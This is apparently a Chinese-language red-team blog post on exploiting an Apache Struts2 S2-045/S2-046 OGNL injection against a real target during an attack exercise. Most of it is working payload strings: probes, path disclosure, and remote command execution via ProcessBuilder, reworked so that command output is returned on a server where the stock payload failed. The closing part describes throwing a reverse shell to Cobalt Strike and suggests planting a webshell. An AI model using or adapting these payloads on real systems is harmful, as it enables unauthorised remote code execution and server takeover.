在某次HW遇到了一个Struts2可以获取目录,但无法执行命令
流量代理
根据已知信息,现阶段可获取路径,代表该地方确实存在Struts2漏洞。通过将对应流量代理到BurpSuite。
过程Payload语句
根据代理获取的流量,获取其判断是否存在Struts S2-045(or S2-046)漏洞使用如下语句
1 2 3 4 5
| # 判断漏洞是否存在,在响应包中添加头信息,内容为vul:vul %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data
# 判断漏洞是否存在,让服务器直接返回[tttpppppp111]信息 %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'tttpppppp'+'111]')).(#o.close())}"]
|
返回[tttpppppp111]数据
返回头vul:vul信息
获取目录信息、命令执行使用如下语句
1 2 3 4 5 6
| # 目录获取语句 %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).(#o.println(#path)).(#o.close())}
# 命令执行语句 %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
目录获取
命令执行,截图为本地测试环境所以可成功执行命令。
通过对目标环境不断测试,发现出问题的语句为
1
| org.apache.commons.io.IOUtils
|
去除问题语句,重写payload,让其可返回cmds参数值
1 2 3
| # 去除org.apache.commons.io.IOUtils语句,根据路径获取语句修改,直接返回cmds参数值 %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmds="testCMD").(#o.println(#cmds)).(#o.close())}
|
返回cmds参数值testCMD
最终Payload语句
根据上文已经可以直接输出对应数据,只需要将执行命令之后的结果通过该方式访问即可。结合命令执行的Payload语句,最终语句如下
1 2 3
| # 完成语句改造,输出命令执行结果 %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmd='whoami'). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#re=new java.io.InputStreamReader(#process.getInputStream())).(#ros=new java.io.BufferedReader(#re)).(#o.println(#ros.readLine())).(#o.close())}
|
命令执行结果输出
上述语句存在一个问题:如果命令执行结果存在多行,需要不断添加(#o.println(#ros.readLine()))
。可通过如下语句获取命令执行存在多少行
1 2
| # %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#cmd='whoami'). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#re=new java.io.InputStreamReader(#process.getInputStream())).(#ros=new java.io.BufferedReader(#re)).(#o.println(#ros.lines().count())).(#o.close())}
|
输出命令执行结果具体行数
根据查询到的资料,java可直接通过lambda或者collect输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.ProcessBuilder; import java.util.stream.Collectors;
public class cmdExec { public static void main(String[] args) throws IOException { ProcessBuilder pb = new ProcessBuilder("ls"); Process process = pb.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); reader.lines().forEach(java.lang.System.out::println);
} }
|
lambda输出
collect输出会将所有数据去除换行,变成一行输出
但是在ognl中无法这样操作,后续直接执行命令将shell反弹到cs,就没有继续深究了。
总结
1.这个算是一个比较奇葩的环境,服务器上lib存在commons.io依赖,但是在调用的出问题。猜测是依赖冲突导致;
2.针对现在能执行命令可结合echo写webshell,如果可出网并且无杀软可直接powershell等方式getshell;
3.针对现在命令执行结果只能输出一行的情况,可以将结果写入到web目录下一个文件中,直接访问获取,但这不是一个好方法。后续可以找个机会再看看ognl表达式。